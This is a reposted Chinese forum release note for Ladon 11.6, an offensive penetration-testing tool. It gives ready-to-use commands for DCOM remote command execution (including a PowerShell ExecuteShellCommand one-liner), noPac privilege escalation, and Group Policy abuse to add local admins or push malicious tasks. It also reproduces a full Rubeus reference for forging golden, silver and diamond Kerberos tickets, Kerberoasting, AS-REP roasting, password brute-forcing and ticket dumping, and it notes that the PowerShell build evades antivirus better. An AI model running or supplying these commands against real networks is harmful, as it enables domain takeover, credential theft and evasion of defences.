本帖最后由 ivi 于 2023-9-11 18:11 编辑
k8gege K8实验室 2023-09-11 09:11 发表于广西
Ladon 11.6 20230911
- [+]MmcExec Dcom远程执行命令之MMC20(域控或管理员权限、需目标关闭防火墙) 横向移动 内网渗透 支持BASE64命令
- [+]ShellExec Dcom远程执行命令之ShellWindows(域控或管理员权限、需目标关闭防火墙) 横向移动 内网渗透 支持BASE64命令
- [+]ShellBrowserExec Dcom远程执行命令之ShellBrowserWindow(域控或管理员权限、需目标关闭防火墙) 横向移动 内网渗透 支持BASE64命令
- [+]SharpSphere .NET>=4.0 SharpSphere 使红队人员能够轻松地与 vCenter 管理的虚拟机的来宾操作系统进行交互 执行命令
- [+]noPac .NET>=4.0 域渗透 域内提权CVE-2021-42287/CVE-2021-42278 横向移动 内网渗透
- [+]SharpGPOAbuse .NET>=4.0 域渗透 组策略(GPO)横向移动 内网渗透 下发脚本
- [+]Rubeus .NET>=4.0 域渗透 Kerberos攻击比如TGT请求/ST请求/AS-REP Roasting/Kerberoasting/委派攻击/黄金票据/白银票据/钻石票据/蓝宝石票据等
- [u]LadonEXP 结果不含路径 也可自动解密
- [u]PostShell 结果不含路径 也可自动解密
- [u]web AuthBasic认证监听 捕获密码 解密bug修复
- [u]Ladon.ps1 默认使用Ladon40版本,Win10/11是主流系统,Win7可自行转换Ladon35
- [u]Ladon.exe 默认使用Ladon48版本
复制代码
Ladon.ps1,PowerShell版免杀效果比exe更好,自行根据实际情况使用
0x001 Dcom远程执行命令之MMC20 Dcom执行条件:
1 域控或管理员权限
2 需目标关闭防火墙
PowerShell
- [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.50.18")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/k calc.exe","Minimzed")
复制代码
Ladon MmcExec
- Usage:
- Ladon MmcExec host cmdline
- Ladon MmcExec 127.0.0.1 calc
- Ladon MmcExec 127.0.0.1 Y2FsYw==
复制代码
Ladon.ps1
- powershell -exec bypass Import-Module .\Ladon.ps1;Ladon MmcExec 127.0.0.1 calc
- powershell -exec bypass Import-Module .\Ladon.ps1;Ladon MmcExec 127.0.0.1 Y2FsYw==
复制代码
执行的命令包含双引号或其它特殊符号,特别是在CS或其它shell下使用,可以使用base64加密需要执行的cmd命令,如calc加密后Y2FsYw==
Cobalt Strike命令行用法与EXE版用法完全一致 (Ladon其它功能同理)
- Ladon MmcExec 127.0.0.1 calc
- Ladon MmcExec 127.0.0.1 Y2FsYw==
复制代码
0x002 Dcom远程执行命令之ShellWindows
Ladon ShellExec
- Usage:
- Ladon ShellExec host cmdline
- Ladon ShellExec 127.0.0.1 calc
- Ladon ShellExec 127.0.0.1 Y2FsYw==
复制代码
Ladon.ps1
- powershell -exec bypass Import-Module .\Ladon.ps1;Ladon ShellExec 127.0.0.1 calc
- powershell -exec bypass Import-Module .\Ladon.ps1;Ladon ShellExec 127.0.0.1 Y2FsYw==
复制代码
0x003 Dcom远程执行命令之ShellBrowserWindow Ladon ShellBrowserExec - Usage:
- Ladon ShellBrowserExec host cmdline
- Ladon ShellBrowserExec 127.0.0.1 calc
- Ladon ShellBrowserExec 127.0.0.1 Y2FsYw==
复制代码
Ladon.ps1
- powershell -exec bypass Import-Module .\Ladon.ps1;Ladon ShellBrowserExec 127.0.0.1 calc
- powershell -exec bypass Import-Module .\Ladon.ps1;Ladon ShellBrowserExec 127.0.0.1 Y2FsYw==
复制代码
0x004 Rubeus域渗透 Kerberos攻击工具 [color=rgba(0, 0, 0, 0.9)]
.NET>=4.0 域渗透 Kerberos攻击比如TGT请求/ST请求/AS-REP Roasting/Kerberoasting/委派攻击/黄金票据/白银票据/钻石票据/蓝宝石票据等
Ladon Rubeus
- Load Rubeus
- Rubeus v2.2.3
- Ticket requests and renewals:
- Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
- Ladon.exe Rubeus asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst]
- Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
- Ladon.exe Rubeus asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst]
- Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session:
- Ladon.exe Rubeus asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst]
- Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session:
- Ladon.exe Rubeus asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst]
- Request a TGT without sending pre-auth data:
- Ladon.exe Rubeus asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst]
- Request a service ticket using an AS-REQ:
- Ladon.exe Rubeus asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy]
- Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
- Ladon.exe Rubeus asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
- Retrieve a service ticket using the Kerberos Key List Request options:
- Ladon.exe Rubeus asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
- Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
- Ladon.exe Rubeus renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
- Perform a Kerberos-based password bruteforcing attack:
- Ladon.exe Rubeus brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
- Perform a scan for account that do not require pre-authentication:
- Ladon.exe Rubeus preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
- Constrained delegation abuse:
- Perform S4U constrained delegation abuse:
- Ladon.exe Rubeus s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy]
- Ladon.exe Rubeus s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]
- Perform S4U constrained delegation abuse across domains:
- Ladon.exe Rubeus s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac]
- Ticket Forgery:
- Forge a golden ticket using LDAP to gather the relevent information:
- Ladon.exe Rubeus golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
- Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values:
- Ladon.exe Rubeus golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
- Forge a golden ticket, setting values explicitly:
- Ladon.exe Rubeus golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
- Forge a golden ticket for a read only domain controller (for Key List Requests):
- Ladon.exe Rubeus golden </rodcNumber:RODC_NUM> </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
- Forge a silver ticket using LDAP to gather the relevent information:
- Ladon.exe Rubeus silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
- Forge a silver ticket using LDAP to gather the relevent information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum:
- Ladon.exe Rubeus silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
- Forge a silver ticket using LDAP to gather the relevent information but explicitly overriding some values:
- Ladon.exe Rubeus silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
- Forge a silver ticket using LDAP to gather the relevent information and including an S4UDelegationInfo PAC section:
- Ladon.exe Rubeus silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
- Forge a silver ticket using LDAP to gather the relevent information and setting a different cname and crealm:
- Ladon.exe Rubeus silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
- Forge a silver ticket, setting values explicitly:
- Ladon.exe Rubeus silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
- Forge a diamond TGT by requesting a TGT based on a user password/hash:
- Ladon.exe Rubeus diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
- Forge a diamond TGT by requesting a TGT using a PCKS12 certificate:
- Ladon.exe Rubeus diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
- Forge a diamond TGT by requesting a TGT using tgtdeleg:
- Ladon.exe Rubeus diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
- Ticket management:
- Submit a TGT, optionally targeting a specific LUID (if elevated):
- Ladon.exe Rubeus ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
- Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
- Ladon.exe Rubeus purge [/luid:LOGINID]
- Parse and describe a ticket (service ticket or TGT):
- Ladon.exe Rubeus describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN]
- Ticket extraction and harvesting:
- Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service:
- Ladon.exe Rubeus triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
- List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:
- Ladon.exe Rubeus klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
- Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
- Ladon.exe Rubeus dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
- Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
- Ladon.exe Rubeus tgtdeleg [/target:SPN]
- Monitor every /interval SECONDS (default 60) for new TGTs:
- Ladon.exe Rubeus monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
- Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200):
- Ladon.exe Rubeus harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
- Roasting:
- Perform Kerberoasting:
- Ladon.exe Rubeus kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
- Perform Kerberoasting, outputting hashes to a file:
- Ladon.exe Rubeus kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
- Perform Kerberoasting, outputting hashes in the file output format, but to the console:
- Ladon.exe Rubeus kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
- Perform Kerberoasting with alternate credentials:
- Ladon.exe Rubeus kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
- Perform Kerberoasting with an existing TGT:
- Ladon.exe Rubeus kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
- Perform Kerberoasting with an existing TGT using an enterprise principal:
- Ladon.exe Rubeus kerberoast </spn:user@domain.com | /spns:user1@domain.com,user2@domain.com> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
- Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:
- Ladon.exe Rubeus kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
- Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:
- Ladon.exe Rubeus kerberoast /usetgtdeleg [/ldaps] [/nowrap]
- Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:
- Ladon.exe Rubeus kerberoast /rc4opsec [/ldaps] [/nowrap]
- List statistics about found Kerberoastable accounts without actually sending ticket requests:
- Ladon.exe Rubeus kerberoast /stats [/ldaps] [/nowrap]
- Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):
- Ladon.exe Rubeus kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
- Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
- Ladon.exe Rubeus kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
- Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
- Ladon.exe Rubeus kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
- Perform AES Kerberoasting:
- Ladon.exe Rubeus kerberoast /aes [/ldaps] [/nowrap]
- Perform Kerberoasting using an account without pre-auth by sending AS-REQ's:
- Ladon.exe Rubeus kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]
- Perform AS-REP "roasting" for any users without preauth:
- Ladon.exe Rubeus asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
- Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:
- Ladon.exe Rubeus asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
- Perform AS-REP "roasting" for any users without preauth using alternate credentials:
- Ladon.exe Rubeus asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/nowrap]
- Perform AES AS-REP "roasting":
- Ladon.exe Rubeus asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] /aes [/ldaps] [/nowrap]
- Miscellaneous:
- Create a hidden program (unless /show is passed) with random (or user-defined) /netonly credentials, displaying the PID and LUID:
- Ladon.exe Rubeus createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/username:USERNAME] [/domain:DOMAIN] [/password:PASSWORD]
- Reset a user's password from a supplied TGT (AoratoPw):
- Ladon.exe Rubeus changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]
- Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes:
- Ladon.exe Rubeus hash /password:X [/user:USER] [/domain:DOMAIN]
- Substitute an sname or SPN into an existing service ticket:
- Ladon.exe Rubeus tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
- Ladon.exe Rubeus tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
- Display the current user's LUID:
- Ladon.exe Rubeus currentluid
- Display information about the (current) or (target) logon session, default all readable:
- Ladon.exe Rubeus logonsession [/current] [/luid:X]
- The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified.
- The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function.
- The "/debug" flag outputs ASN.1 debugging information.
- Convert an AS-REP and a key to a Kirbi:
- Ladon.exe Rubeus asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]
- NOTE: Base64 ticket blobs can be decoded with :
- [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
复制代码
0x005 域渗透 SharpGPOAbuse 组策略(GPO)横向移动 Ladon SharpGPOAbuse - Usage:
- Ladon.exe SharpGPOAbuse <AttackType> <AttackOptions>
- Attack Types:
- --AddUserRights
- Add rights to a user account
- --AddLocalAdmin
- Add a new local admin. This will replace any existing local admins!
- --AddComputerScript
- Add a new computer startup script
- --AddUserScript
- Add a new user startup script
- --AddComputerTask
- Add a new computer immediate task
- --AddUserTask
- Add a new user immediate task
- Options required to add a new local admin:
- --UserAccount
- Set the name of the account to be added in local admins.
- --GPOName
- The name of the vulnerable GPO.
- Options required to add a new user startup script:
- --ScriptName
- Set the name of the new startup script.
- --ScriptContents
- Set the contents of the new startup script.
- --GPOName
- The name of the vulnerable GPO.
- Options required to add a new computer startup script:
- --ScriptName
- Set the name of the new startup script.
- --ScriptContents
- Set the contents of the new startup script.
- --GPOName
- The name of the vulnerable GPO.
- Options required to add new user rights:
- --UserRights
- Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
- --UserAccount
- Set the account to add the new rights.
- --GPOName
- The name of the vulnerable GPO.
- Options required to add a new computer immediate task:
- --TaskName
- Set the name of the new computer task.
- --Author
- Set the author of the new task (use a DA account).
- --Command
- Command to execute.
- --Arguments
- Arguments passed to the command.
- --GPOName
- The name of the vulnerable GPO.
- Additional Options:
- --FilterEnabled
- Enable Target Filtering for computer immediate tasks.
- --TargetDnsName
- The DNS name of the computer to target. The malicious task will run only on the specified host.
- Options required to add a new user immediate task:
- --TaskName
- Set the name of the user new task.
- --Author
- Set the author of the new task (use a DA account).
- --Command
- Command to execute.
- --Arguments
- Arguments passed to the command.
- --GPOName
- The name of the vulnerable GPO.
- Additional Options:
- --FilterEnabled
- Enable Target Filtering for user immediate tasks.
